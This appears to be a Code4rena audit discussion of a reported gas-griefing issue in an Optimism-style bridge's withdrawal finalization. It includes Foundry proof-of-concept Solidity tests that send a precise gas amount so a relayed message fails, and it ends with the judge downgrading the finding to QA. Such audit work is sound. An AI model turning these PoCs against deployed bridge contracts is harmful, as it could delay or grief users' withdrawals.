Test result: FAILED. 0 passed; 1 failed; finished in 2.91ms Failing tests: Encountered 1 failing test in test/Counter.t.sol:CounterTest [FAIL. Reason: OptimismPortal: withdrawal has already been finalized] test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False() (gas: 164599) Encountered a total of 1 failing tests, 0 tests succeeded
the relevant POC code is
uint256 balance = address(alice).balance; l1Portal.finalizeWithdraw{gas: 1100000}( minGasLimit, amount, portalData ); uint256 afterBalance = address(alice).balance; // expect get 1 ether; console.log('alice balance should be 1 ether', afterBalance - balance); // try again with normal gas amount, transaction revert l1Portal.finalizeWithdraw{gas: 2000000}( minGasLimit, amount, portalData );
we control the precise amount of gas sent:
{gas: 1100000}
then the console.log above is
L1Portal::finalizeWithdraw -> L1CrossDomainMeseenger::relayMessage -> emit FailedRelayedMessage(msgHash: 0xc0dc43a9195feb002562b08c9b38ede16500f6f27f3eb3cd0be1708d26b2de83)
why failed
because
SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER)
return false
note the console.log
Logs: line 320 ---- how many gas left? 1033816 has min gas false ------ success after finalize withdraw???? true alice balance should be 1 ether 0
the POC show the a precise amount of gas and make the SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) return false and halt the withdrawal and make user loss fund, why it make user loss fund
because remember
bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, _value, _message);
this line of code must to called
to trigger finalizeBridgeETH from the L1CrossDomainMessenger to L1StandardBridge.sol
otherwise the user never receive his fund
#8 - 0xleastwood
2023-06-28T15:34:23Z
Leaving open for the base protocol team to verify the POC.
#9 - rvierdiyev
2023-06-29T08:31:30Z
@0xleastwood as far as i understand in this situation this code will be called
if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != Constants.DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash); // Revert in this case if the transaction was triggered by the estimation address. This // should only be possible during gas estimation or we have bigger problems. Reverting // here will make the behavior of gas estimation change such that the gas limit // computed will be the amount required to relay the message, even if that amount is // greater than the minimum gas limit specified by the user. if (tx.origin == Constants.ESTIMATION_ADDRESS) { revert("CrossDomainMessenger: failed to relay message"); } return; }
that means that not enough gas was sent with tx and we need to set failedMessages[versionedHash] = true, which marks it replayable.
so yes, you can't finalize this tx again, which is expected, but you can do it through the CrossDomainMessanger.relayMessage now.
This is actually how it was designed. In order to cause problems, tx should revert, then it will not be stored as failed, but OptimismPortal will mark as relayed.
#10 - JeffCX
2023-06-29T09:09:57Z
https://gist.github.com/JeffCX/42f13cedd60f3be3d4caee0c6bb65765
Sir,
I recommend you read this to understand the order of function call
https://gist.github.com/JeffCX/42f13cedd60f3be3d4caee0c6bb65765
the relayMessage itself is repayable this is fine
but when bridging ETH from L2 to L1
we are calling OptimismPortal.sol#finalizeWithdrawal -> CrossDomainMessage#relayMessage -> L1StandardardBridge.sol#finalizeBridgeETH
because SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) is FALSE
OptimismPortal.sol#finalizeWithdrawal is marked as the finalized
but L1StandardardBridge.sol#finalizeBridgeETH is never called
which block user withdrawal permissionless and permanently
Again, I think understand function call and trace it by event emission helps,
this one as well as the reentrancy one is backed by coded POC, 100% valid :) either one can be dangerous for user in the network (I am very serious)
In the past two audit, 4 high out of 5 in fact related to the permissionless block user withdrawal and the newly added code:
if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != Constants.DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash); // Revert in this case if the transaction was triggered by the estimation address. This // should only be possible during gas estimation or we have bigger problems. Reverting // here will make the behavior of gas estimation change such that the gas limit // computed will be the amount required to relay the message, even if that amount is // greater than the minimum gas limit specified by the user. if (tx.origin == Constants.ESTIMATION_ADDRESS) { revert("CrossDomainMessenger: failed to relay message"); } return; }
does revert the previous fix (reentrancy report) and introduce one more issue (this report)
#11 - JeffCX
2023-06-29T09:22:57Z
This is actually how it was designed. In order to cause problems, tx should revert, then it will not be stored as failed, but OptimismPortal will mark as relayed.
Well, we can only finalize the withdrawal via OptimismPortal :)
#12 - rvierdiyev
2023-06-29T10:51:05Z
This is @JeffCX test, but changed a little to show, that replay is possible.
Pls, note, that in his poc he always return truse for CDML1._isOtherMessenger function.
This is incorrect.
So i added this to CDML1
function setPortal(address _otherContract) external { portal = _otherContract; } function _isOtherMessenger(address sender) internal view returns (bool) { return msg.sender == portal; }
And in test setup i have provided portal address.
l1Messenger.setPortal(address(l1Portal));
Now simply run this.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../src/L2Bridge.sol"; import "../src/L2/L2CrossDomainMessenger.sol"; import "../src/L2/L2ToL1MessagePasser.sol"; import "../src/L1Portal.sol"; import "../src/L1CrossDomainMeseenger.sol"; import "../src/L1/L1StandardBridge.sol"; import "../src/Exploit.sol"; import "../src/Mock/MockERC20.sol"; contract CounterTest is Test { L2ToL1MessagePasser l2MessagePasser; L2CrossDomainMessenger l2CrossDomainMessenger; L2StandardBridge l2bridge; L1StandardBridge l1Bridge; L1CrossDomainMeseenger l1Messenger; L1Portal l1Portal; AttackContract bad; address alice = vm.addr(5201314); // important address public otherContract = vm.addr(1000); function setUp() public { l1Bridge = new L1StandardBridge(); l1Bridge.receiveETH{value: 10 ether}(); l1Messenger = new L1CrossDomainMeseenger(otherContract); l1Portal = new L1Portal(address(l1Messenger)); l1Messenger.setPortal(address(l1Portal)); deal(address(l1Portal), 10 ether); l2MessagePasser = new L2ToL1MessagePasser(); l2CrossDomainMessenger = new L2CrossDomainMessenger( address(l2MessagePasser), address(l1Messenger) ); l2bridge = new L2StandardBridge( address(l2CrossDomainMessenger), address(l1Bridge) ); // constructor L1 standard bridge and airdrop 10 ETH to the bridge } function test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False() public { uint32 minGasLimit = 1000000 wei; // L2 Start bridging ETH deal(alice, 1 ether); vm.prank(alice); l2bridge.bridgeETH{value: 1 ether}(minGasLimit , ""); address from = alice; address to = alice; uint256 amount = 1 ether; bytes memory _extraData = ""; bytes memory BridgeData = l2bridge.generateBridgeCallData( from, to, amount, minGasLimit, _extraData ); bytes memory portalData = l2CrossDomainMessenger.generateCallData( address(l1Bridge), BridgeData, minGasLimit ); uint256 balance = address(alice).balance; l1Portal.finalizeWithdraw{gas: 1100000}( minGasLimit, amount, portalData ); //now you can simply replay tx //it will work l1Messenger.relayMessage( 1, address(this), address(l1Bridge), 1 ether, minGasLimit, BridgeData ); // expect get 1 ether; uint256 afterBalance = address(alice).balance; console.log('alice balance should be 1 ether'); console.log('alice balance:', afterBalance); } }
@JeffCX pls, let me know if i am still wrong with that.
and also note, alicae balance is 1 ether. she is fine.
#13 - JeffCX
2023-06-29T11:28:20Z
@rvierdiyev the POC you provide points exploit a flaw in my POC but still does not invalidate my finding
To create a deposit we recommend that you use the pre-Bedrock contracts L1StandardBridge (opens new window)and L1CrossDomainMessenger (opens new window). OptimismPortal (opens new window)also has low-level deposit functionality.
With the OptimismPortal’s depositTransaction function you can do from L1 anything you can do by contacting L2 directly: send transactions, send payments, create contracts, etc. This provides an uncensorable alternative in case the sequencer is down
when depositing via OptimismPortal
the deposit on L1 is done via OptimismPortal
When L2 send withdrawal request, msg.value is the amount of ETH that can be withdrawal
_sendMessage( OTHER_MESSENGER, baseGas(_message, _minGasLimit), msg.value, abi.encodeWithSelector( this.relayMessage.selector, messageNonce(), msg.sender, _target, msg.value, _minGasLimit, _message ) );
and such ETH has to forward via
// Mark the withdrawal as finalized so it can't be replayed. finalizedWithdrawals[withdrawalHash] = true; // Set the l2Sender so contracts know who triggered this withdrawal on L2. l2Sender = _tx.sender; // Trigger the call to the target contract. We use a custom low level method // SafeCall.callWithMinGas to ensure two key properties // 1. Target contracts cannot force this call to run out of gas by returning a very large // amount of data (and this is OK because we don't care about the returndata here). // 2. The amount of gas provided to the execution context of the target is at least the // gas limit specified by the user. If there is not enough gas in the current context // to accomplish this, `callWithMinGas` will revert. bool success = SafeCall.callWithMinGas(_tx.target, _tx.gasLimit, _tx.value, _tx.data);
the tx.value maps the msg.value that request to withdrawal
then the OptimismPortal needs to forward ETH to the L1CrossDomainMessager.sol then call finalizeBridgeETH
the POC you provide works because in the set up
I airdropped 10 ETH to the L1Bridge
l1Bridge.receiveETH{value: 10 ether}();
This line should be commented out and then your POC does not work
In fact, I should airdrop 10 ETH to OptimismPortal
#14 - rvierdiyev
2023-06-29T11:36:17Z
I guess, that you need to do this test as fork test then you will see. currently, i don't see problems in this part of contract. it works as expected and CDM function returns instead of revert(and only revert can make problems)
#15 - JeffCX
2023-06-29T12:45:36Z
@0xleastwood
After discussing with riverdiyev,
the current status is, because the cross-domain-message relayMessage does not revert,
the ETH will stay in CrossDomainMessager
This is clearly a issue, because the user is meant to finalize the withdrawal transaction and receive ETH
and the user does not really expect the ETH stays in L1CrossDomainMessager
but if an attacker can steal the ETH in L1CrossDomainMessager or even reduce the ETH in L1CrossDomainMessager by 1 wei, clearly lose of fund
Posting judging QA still has one day, looks like this is a two stage exploit, the final stage of exploit is to reduce or steal ETH from L1CrossDomainMessager, I will give more details
Don't think the CrossDomainMessager is designed to hold ETH,
https://etherscan.io/address/0x25ace71c97B33Cc4729CF772ae268934F7ab5fA1#code
This is the L1CrossDomainMessager for OP bedrock, it has been run in production
and it hold 0 ETH
#16 - rvierdiyev
2023-06-29T12:48:57Z
This is clearly a issue, because the user is meant to finalize the withdrawal transaction and receive ETH
this assumption is wrong CDM should contain value, because otherwise relaying with value is not possible
the purpose of OptimismPortal is to forward value to CDM and try to finish call after it's tried, then portal knows nothing about withdrawal, and he already provided all data to CDM with value
#17 - JeffCX
2023-06-29T14:22:48Z
@0xleastwood
After further investigation, I do not find a way to steal the fund in L1CrossDomainMessager,
this means, as riverdiyev pointed out, another user can relayMessager to recover the fund.
because the RelayMessage does not revert,
the L1CrossDomainMessager keep the ETH and someone can relay the message to recover the fund
will leave the judge to determine the severity, feel like a medium
https://docs.code4rena.com/awarding/judging-criteria/severity-categorization#estimating-risk
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
Why this is still a issue?
the expectation is when user finalize normal withdrawal, he expect to receive fund.
now an bad actor finalize normal withdrawal for user, first, user try to finalize normal withdrawal, he found that the withdrawal is already finalized and his finalize withdrawal transaction revert.
but user does not receive fund, the user does not know his fund is temporarily locked in the L1CrossDomainMessager
user would have to pay the gas fee and construct the payload to call relayMessage to get his fund (very inconvenient, the inconvenience add up if a lot of user's withdrawal is temporarily blocked )
so I think this finding and #119 are two mediums,
will leave the judge to determine the severity!
Again, a very constructive discussion, and I enjoyed it!
#18 - rvierdiyev
2023-06-29T14:36:37Z
the expectation is when user finalize normal withdrawal, he expect to receive fund.
when honest user will finalize withdrawal, he will provide all needed gas and also will not make tx go through the malicious target contract which can revert or smth
this security is done against malicious users and it's needed because finalize withdrawal is permissionless. anyone can call it and that's why there are gas checks and replayability on CDM.
but i would say you more. in this case attacker even did a favour for a user, because now he needs to pay less gas to replay tx.
#19 - antojoseph
2023-07-06T18:57:23Z
user would have to pay the gas fee and construct the payload to call relayMessage to get his fund (very inconvenient, the inconvenience add up if a lot of user's withdrawal is temporarily blocked )
This is not an issue. The protocol works as intended as @rvierdiyev pointed out. A honest user will not make the tx go through a malicious contract to begin with. This is a form of self griefing and even in that scenario where someone for whatever reasons do all of the above, it can still be recovered by constructing a payload to call relayMessage to get their fund.
#20 - c4-sponsor
2023-07-06T18:58:30Z
anupsv marked the issue as sponsor disputed
#21 - JeffCX
2023-07-06T21:03:55Z
the hacker temporarily grief the user and either protocol or user has to pay the cost to construct the payload to recover the fund🙏
#22 - 0xleastwood
2023-07-17T11:17:18Z
I'm choosing to side with the sponsor team here. A lot of context has been provided from both sides but it seems clear that the base protocol team has designed their protocol to allow for replayability in-case the initial tx reverts.
There are really only two outcomes:
So now the attacker has paid substantial gas to not impact the user in any way really. The user is able to properly replay their withdrawal through the CDM and pay less gas as a result.
For these reasons, I do not believe there is anything actionable here and I will be downgrading the issue to QA.
#23 - c4-judge
2023-07-17T11:17:31Z
0xleastwood changed the severity to QA (Quality Assurance)
#24 - c4-judge
2023-07-17T11:18:07Z
0xleastwood marked the issue as grade-a
#25 - c4-judge
2023-07-17T12:10:04Z
0xleastwood marked the issue as not selected for report